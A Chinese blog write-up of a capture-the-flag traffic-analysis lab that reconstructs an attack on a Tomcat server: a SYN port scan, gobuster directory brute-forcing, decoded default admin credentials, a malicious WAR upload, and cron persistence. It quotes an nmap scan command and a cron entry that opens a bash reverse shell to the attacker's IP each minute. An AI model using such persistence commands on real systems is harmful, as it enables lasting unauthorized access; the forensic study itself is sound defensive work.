第六章 流量特征分析-常见攻击事件 Tomcat

第六章 流量特征分析-常见攻击事件 Tomcat

1. 在web服务器上发现的可疑活动,流量分析会显示很多请求,这表明存在恶意的扫描行为,通过分析扫描的行为后提交攻击者IP flag格式:flag{ip},如:flag

分析黑客的扫描行为这里我们要识别恶意扫描特征

恶意扫描通常表现为大量SYN请求(TCP半连接扫描),这是Nmap等工具常用的扫描方式。攻击者会向目标服务器多个端口发送SYN包,探测开放端口

我们使用命令tcp.flags.syn == 1 && tcp.flags.ack == 0过滤流量包

  • tcp.flags.syn == 1:筛选TCP协议中 SYN标志位(Synchronize)被置位(值为1) 的数据包。SYN标志用于建立TCP连接的初始握手(第一次握手)。
  • tcp.flags.ack == 0:筛选 ACK标志位(Acknowledgment)未被置位(值为0) 的数据包。ACK标志用于确认数据接收(第二次握手后出现)。
  • 组合逻辑:该命令捕获 仅包含SYN请求而无ACK响应的TCP包,即TCP连接的第一次握手包。

那么应该有人问了,tcp的三次握手跟黑客的扫描有什么关系吗?

这个时候要了解一下端口扫描的核心机制

  • 全连接扫描(TCP Connect扫描) :黑客通过完整的三次握手探测目标端口状态。
    • 黑客发送SYN包(第一次握手)→ 若目标端口开放,则回复SYN/ACK(第二次握手)→ 黑客发送ACK完成连接(第三次握手)。此时确认端口开放。
    • 若端口关闭,目标会回复RST/ACK包。
    • 缺点:完整握手会被系统日志记录,易被管理员发现。
  • 半连接扫描(SYN扫描) :黑客仅进行前两次握手,规避日志记录。
    • 黑客发送SYN→ 收到SYN/ACK即判定端口开放 → 不发送第三次ACK,而是直接中断连接。
    • 由于连接未完全建立,目标系统不会记录完整会话,隐蔽性更强
  • 暴露服务信息:通过扫描结果,黑客可识别目标开放的端口及运行的服务(如HTTP、FTP),为后续攻击提供路径

并且黑客在TCP SYN扫描中使用不含实际数据内容(Payload)的SYN包,是一种精心设计的协议层利用策略,其核心原因和原理如下:

一、协议规范要求:SYN包本质是握手信号

TCP三次握手的 第一次握手(SYN包) 在协议设计上仅用于建立连接协商,而非数据传输阶段。根据TCP/IP协议规范:

  1. SYN包仅包含控制标志位和序列号:其作用是发起连接请求并同步初始序列号(ISN),无需携带应用层数据(如HTTP、FTP内容)。
  2. 协议栈自动处理:操作系统网络栈在发送SYN包时,默认不附加Payload,因为连接尚未建立,传输数据无效。

示例:Wireshark抓包显示,正常SYN包中"Data"字段长度为0。

二、黑客的隐蔽性需求:规避检测和日志

黑客刻意保持SYN包无内容,是为了最大化扫描的隐蔽性:

  1. 规避入侵检测系统(IDS):

    • 含Payload的SYN包(如填充虚假HTTP数据)会被识别为异常流量(如伪造攻击包)。
    • 空Payload的SYN包更接近合法握手流量,难以被Snort等IDS规则标记。
  2. 避免系统日志记录:

    • 完整连接(如TCP Connect扫描)会在目标系统留下日志记录。

    • 半开扫描(SYN扫描)通过发送RST中断连接,无Payload的SYN包不会触发应用层日志,仅内核层可能记录。

    • # Nmap SYN扫描命令:无Payload且不建立完整连接
      nmap -sS 192.168.1.1
      

这里我们通过命令过滤完数据包后基本可以确定14.0.0.1为黑客的ip地址

image-20250803111634683

原因如下:

  1. 可以看到这个ip地址对多端口进行了扫描443,3306,22等一些常用端口

    • image-20250803113813146
    • image-20250803113830063
    • image-20250803113846491
  2. 他的窗口大小为1024符合攻击流量特征

    • image-20250803114324621
  3. 他的ack响应设置为0无响应,并且设置了RST标志位来强制终止连接,几乎无SYN-ACK → ACK的完整握手流符合恶意端口扫描特征

    • image-20250803115110346
  4. 这个ip的请求频率非常高

    • image-20250803115700708

综上所述可以确定黑客的ip地址

flag{14.0.0.120}

案例分析( 典型攻击)

特征 正常流量 攻击流量
SYN请求频率 低频(1-5次/分钟) 87次/5秒(密集爆发)
目标端口 固定(如443) 22,80,443,139,445...(15+端口)
TCP窗口大小 >16384 1024
SYN-ACK响应率 >90% 0%(无ACK响应)
后续行为 建立TLS连接 HTTP路径爆破

2.找到攻击者IP后请通过技术手段确定其所在地址 flag格式: flag

将这个ip地址丢到工具查询后发现地址在广州

工具:https://tool.lu/ip/

image-20250803134831729

flag{guangzhou}

3.哪一个端口提供对web服务器管理面板的访问? flag格式:flag

对流量包进行过滤

http && ip.addr == 14.0.0.120

image-20250803135306854

点开第一个进行http流追踪

image-20250803135751614

可以看到端口和tomcat版本信息

flag{8080}

4.经过前面对攻击者行为的分析后,攻击者运用的工具是? flag格式:flag

按照长度排序,在下面产生了大量的404请求

image-20250803140307432

右键http流追踪看看

image-20250803140356203

可以看到这里黑客使用的工具

flag{gobuster}

5.攻击者拿到特定目录的线索后,想要通过暴力破解的方式登录,请通过分析流量找到攻击者登录成功的用户名和密码?

继续分析流量包在下面翻到一个302跳转

302状态码表示临时重定向(Temporary Redirect),即请求的资源已被临时移动到新的URI地址

image-20250803142313708

右键http追踪流分析一下

往下划,前面的数据包都是401,从这里开始变为200

基本上可以确定这里是账号密码:YWRtaW46dG9tY2F0

image-20250803140733868

拿去解密一下

image-20250803140902922
flag{admin-tomcat}

6.攻击者登录成功后,先要建立反弹shell,请分析流量提交恶意文件的名称? flag格式:flag

继续分析流量包,题目告诉我们登录成功

在长度为712这里右键http流追踪

image-20250803144344994

点进去就发现这里上传了一个压缩包JXQOZY.war

flag{JXQOZY.war}

image-20250803143806471

7.攻击者想要维持提权成功后的登录,请分析流量后提交关键的信息? flag提示,某种任务里的信息

1.权限维持的本质
攻击者在成功提权后,需通过持久化机制确保权限不因系统重启或会话中断而丢失。常见手段包括:

  • 添加恶意定时任务(cron)
  • 植入启动脚本(rc.local/systemd)
  • 修改系统服务
  • 创建隐藏后门账户

2.流量分析的关键切入点

  • HTTP请求中的命令执行痕迹:攻击者通过Web漏洞(如Tomcat上传漏洞)执行系统命令。
  • 反向Shell建立后的后续操作:重点关注建立反弹Shell后的流量(如执行 crontab 命令)。
  • 协议特征:过滤 POST 请求(上传文件)和包含 /bin/bashcron 等关键词的流量。

题目提示我们:某种任务里的信息

我们先优先尝试搜索定时任务(cron)的创建痕迹

http contains "crontab" || tcp contains "cron"  # 搜索cron相关流量

image-20250803150416934

果真查到了,将这三条命令整理一下

echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'" > cron.
cronta b -i cron
cronta b -l cron

该命令会创建每分钟执行一次的反向Shell,确保权限持久化

flag{/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'}

扩展

cronUnix/Linux 系统中的核心任务调度守护进程(daemon) ,用于在预定的时间、日期或固定间隔自动执行命令或脚本(称为“cron 作业”)。其核心目标是 自动化重复性任务

posted @ 2025-08-06 09:39  0xMouise  阅读(8)  评论(0)    收藏  举报